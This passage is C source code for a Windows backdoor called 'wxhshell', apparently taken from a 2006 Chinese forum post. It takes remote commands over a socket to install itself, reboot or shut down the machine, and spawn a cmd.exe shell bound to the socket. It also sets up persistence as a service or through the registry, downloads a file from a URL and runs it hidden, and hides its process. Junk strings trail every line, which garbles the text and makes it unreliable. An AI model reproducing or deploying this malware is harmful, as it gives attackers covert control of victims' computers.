  // 帮助 :WjpzgPuN  
  case '?': { *U^6u/iH  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $3W;=Id=+  
    break; _64A( U  
  } Za/-i"U  
  // 安装 /@wg>&L]  
  case 'i': { 68NYIyTW9  
    if(Install()) |EIng0a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9/{(%XwX  
    else ~,d,#)VE2q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "LHcB]^<  
    break; Mz9 r5  
    } ~xbe~$$Q@  
  // 卸载 %d 1,a$*3}  
  case 'r': { tnV/xk#!  
    if(Uninstall()) QHDXW1+|^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BTl k Etm  
    else NiNM{[3oS  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =qoWCmg"&  
    break; l\E%+?K+^  
    } ",p;Sd  
  // 显示 wxhshell 所在路径 0QB iC]9  
  case 'p': { 6|K5!2  
    char svExeFile[MAX_PATH]; d:_t-ZZo  
    strcpy(svExeFile,"\n\r"); y>R=`A1b  
      strcat(svExeFile,ExeFile); 8&;UO{  
        send(wsh,svExeFile,strlen(svExeFile),0); @+;$jRwq  
    break; a[v0%W ]u  
    } v:EB*3n5  
  // 重启 o=u3&liBi  
  case 'b': { ~{*7"o/  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ^aIPN5CK  
    if(Boot(REBOOT)) qBU-~"2t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hMzs*gK  
    else { eiuSvyY  
    closesocket(wsh); E0BMv/r8b  
    ExitThread(0); jAGTD I  
    } ];}Wfl  
    break; Q;MT"=RW  
    } t$ +?6E  
  // 关机 @M<|:Z %.@  
  case 'd': { yTyj'-4  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Y}@&h!  
    if(Boot(SHUTDOWN)) g(nPQOs$u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9Q -HeXvR  
    else { 8{Q<N%Jnu  
    closesocket(wsh); E^Y#&skXp3  
    ExitThread(0); #:%&x@@c3P  
    } %`k6w3qI  
    break; [l:x'_y  
    } i}b${n o  
  // 获取shell r~[Ia!U?  
  case 's': { f'8kish  
    CmdShell(wsh); +[Dj5~V  
    closesocket(wsh); +_7*iJtD5  
    ExitThread(0); h,QKd>4:CF  
    break; 9*$t!r{B@  
  } +U:$(UV'A  
  // 退出 z^KJ*E  
  case 'x': { $JSL-NkE  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;1#H62Z*  
    CloseIt(wsh); c@YI;HS_g  
    break; gep;{G}  
    } R FKtr  
  // 离开 9K/HO!z  
  case 'q': { m2 -Sx  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); =Xm@YVf&ZD  
    closesocket(wsh); D@C-5rmq  
    WSACleanup(); :Y-{Kn6`_  
    exit(1); }p=Jm)y  
    break; ,?PTcQF  
        } %el"BSB  
  } bke 1 F '  
  } 0ode&dB  
u1uY*p  
  // 提示信息 Jd |hwvwFe  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V;m3=k0U  
} g%Z;rDfi  
  } <ANKoPNie  
R:E`  
  return; 8wBns)wy@  
} |^1eL I  
U+K_eEI0_I  
// shell模块句柄 %63<Iz"  
int CmdShell(SOCKET sock) [\!S-:  
{ {E9Y)Z9  
STARTUPINFO si; [L8gG.wy  
ZeroMemory(&si,sizeof(si)); 3laSPih[.  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; PtHT>  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ]?kf;A@  
PROCESS_INFORMATION ProcessInfo; ':Te#S  
char cmdline[]="cmd"; K= 69z  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~"-wSAm  
  return 0; sB6UlX;b:  
} ''Hq-Ng  
6ul34\;  
// 自身启动模式 pY2nv/  
int StartFromService(void)  6} 9A0  
{ Ei#"r\q j_  
typedef struct 8Hhe&B  
{ e0D;]  
  DWORD ExitStatus; p\(%bO   
  DWORD PebBaseAddress; QKVZ![Y!s  
  DWORD AffinityMask; u+Li'Ug  
  DWORD BasePriority; d.{RZq2cp  
  ULONG UniqueProcessId; 1:,aFp>qr  
  ULONG InheritedFromUniqueProcessId; wj/r)rv E  
}   PROCESS_BASIC_INFORMATION; tDi<n}  
Y4i-Pp?  
PROCNTQSIP NtQueryInformationProcess; 4[6A~iC_  
'\9A78NV{;  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; $rdA0%;  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; f[.]JC+,  
_+UD>u{  
  HANDLE             hProcess; MP T[f  
  PROCESS_BASIC_INFORMATION pbi; L<E`~\C'  
bNqjjg  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); `+<5QtD  
  if(NULL == hInst ) return 0; pdE=9l'  
sl)_HA7G  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0n1y$*I4  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); uy B ?-Y+  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); {&/q\UQ  
2qN6{+]  
  if (!NtQueryInformationProcess) return 0; U'@_fg  
kcQ |Zg  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());  Jl}$) '  
  if(!hProcess) return 0; 'j}%ec1  
zRB1V99k  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; -8-Aqh8|  
^7(zoUn:  
  CloseHandle(hProcess); md<%Z4+  
8zr)oQ:  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); LaLA }1!  
if(hProcess==NULL) return 0; I@[.W!w  
-0>@jfP^D  
HMODULE hMod; N 4Dyec\  
char procName[255]; u%&zY97/  
unsigned long cbNeeded; w;X-i.%`  
T9u/|OP  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); B=9|g1e  
|vzGFfRI  
  CloseHandle(hProcess); iLFF "Hs  
5^tL#  
if(strstr(procName,"services")) return 1; // 以服务启动 -FJ 5N}R  
65MR(+3  
  return 0; // 注册表启动 Lx2.E1?@  
} 3C.bzw^  
xHI>CNC,  
// 主模块 D7 .R NXo  
int StartWxhshell(LPSTR lpCmdLine) @v|_APy#  
{ O"Ar3>   
  SOCKET wsl; '*W/Bett  
BOOL val=TRUE; !k&<  
  int port=0; xAsbP$J:  
  struct sockaddr_in door; Ww@R ewo  
h4ZrD:D0\  
  if(wscfg.ws_autoins) Install(); BjJ+~R  
ca-|G'q  
port=atoi(lpCmdLine); )V+ ;7j<"D  
>?I[dYzut  
if(port<=0) port=wscfg.ws_port; C7,Ol0`v  
/f_lWr:9l  
  WSADATA data; kIM* K%L}  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 7IjFSN>  
EpS"NQEe  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   YwEXTy>0  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); M,:GMO:?a  
  door.sin_family = AF_INET; ?-J\~AXL  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); w,D(zk$   
  door.sin_port = htons(port); m ?LOd9  
entO"~*EX  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { C 2FewsRz  
closesocket(wsl); ->:G+<  
return 1; $--W,ov5j  
} 4R@3jGXb8q  
`2 Vc*R  
  if(listen(wsl,2) == INVALID_SOCKET) { l[.RnM[v  
closesocket(wsl); 6wfCC,2  
return 1; i9uJ%nd:  
} b=.Ikt+y  
  Wxhshell(wsl); mM1\s>o  
  WSACleanup(); D.4=4"qMi  
#~ UG9@a  
return 0; =((#kDrN  
ABB4(_3E  
} r `VKb  
,H\EPmNHK  
// 以NT服务方式启动 We_/:=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) *tO7A$LDT  
{ nO2-fW:9]  
DWORD   status = 0; V6Z2!Ht  
  DWORD   specificError = 0xfffffff; -@e9!/GP,  
A F>!:  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 5q}680s9+  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; u:NSPAD)  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; UVA|(:  
  serviceStatus.dwWin32ExitCode     = 0; WTZP}p1  
  serviceStatus.dwServiceSpecificExitCode = 0; j;)U5X  
  serviceStatus.dwCheckPoint       = 0; do C8!  
  serviceStatus.dwWaitHint       = 0; >kd&>)9v  
\XhzaM   
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); %Gv8 ]Yb  
  if (hServiceStatusHandle==0) return; 8ZE{GX.m2c  
RL SP?o2J  
status = GetLastError(); +m]$P,yMt  
  if (status!=NO_ERROR) St^s"A  
{ (s z=IB ;  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 7xz|u\?_2  
    serviceStatus.dwCheckPoint       = 0; ?(n|ykXwc  
    serviceStatus.dwWaitHint       = 0; la[xbv   
    serviceStatus.dwWin32ExitCode     = status; [0w @0?[  
    serviceStatus.dwServiceSpecificExitCode = specificError; hj4Kv  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); u+~Ta  
    return; p{[Ol  
  } *O+G}_}  
,?P@ :S<8  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; %70sS].@  
  serviceStatus.dwCheckPoint       = 0; )E'iC  
  serviceStatus.dwWaitHint       = 0; D}r,t_]Eb  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); bT2b)nf  
} 2r^|  
hqmKUlo  
// 处理NT服务事件,比如:启动、停止 V \,Z (  
VOID WINAPI NTServiceHandler(DWORD fdwControl) _t_X`  
{ mvyqCOp 0  
switch(fdwControl) _jQ"_Ff  
{ 4jfkCU  
case SERVICE_CONTROL_STOP: 6V KsX+sd  
  serviceStatus.dwWin32ExitCode = 0; Uo#% f+t  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; MD%_Z/NL  
  serviceStatus.dwCheckPoint   = 0; 51u8.%{4  
  serviceStatus.dwWaitHint     = 0; !U/iY%NE  
  { ]g2Y/\)a  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]'3e#Cqeh  
  } E9!u|&$S  
  return; FY|.eY_7 {  
case SERVICE_CONTROL_PAUSE: DBI[OG9  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; DDsU6RyN  
  break; VPx"l5\  
case SERVICE_CONTROL_CONTINUE: ?kqo~twJ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ,W;\6"Iwx'  
  break; w O;\,zU  
case SERVICE_CONTROL_INTERROGATE: :,X,!0pWRp  
  break; &9g4/c-?$  
}; k4FxdX  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); u[$ \ az7  
} yCy4t6`e  
Pwn"!pk  
// 标准应用程序主函数 5*l~7R  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) (,#Rj$W  
{ N:[22`NP  
T0J"Wr>WY  
// 获取操作系统版本 M.iR5Uh  
OsIsNt=GetOsVer(); {f3&s4xj=  
GetModuleFileName(NULL,ExeFile,MAX_PATH); dlsVE~_G  
E5(\/;[*`  
  // 从命令行安装 q{gt2OWqX  
  if(strpbrk(lpCmdLine,"iI")) Install(); {{7%z4l  
%]S~PKx  
  // 下载执行文件 2It$ bz  
if(wscfg.ws_downexe) { _h", ,"p#o  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) g} 7FR({b  
  WinExec(wscfg.ws_filenam,SW_HIDE); sDL@e33Yb  
} 6Lk<VpAa  
|r[yMI|VR  
if(!OsIsNt) { 2 UU5\ jV6  
// 如果时win9x,隐藏进程并且设置为注册表启动 g!;k$`@{E'  
HideProc(); =(Y 1y$  
StartWxhshell(lpCmdLine); n8n(<  
} -`x$a&}  
else JY8wo5H  
  if(StartFromService()) Fsv:SL+5  
  // 以服务方式启动 qPY OO  
  StartServiceCtrlDispatcher(DispatchTable); f<bc8Lp  
else &rj3UF@hb  
  // 普通方式启动 }YH@T]O}  
  StartWxhshell(lpCmdLine); !$P +hX`  
P#H|at  
return 0; t2d _XQOK  
}
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只看该作者 1 发表于: 2006-10-10
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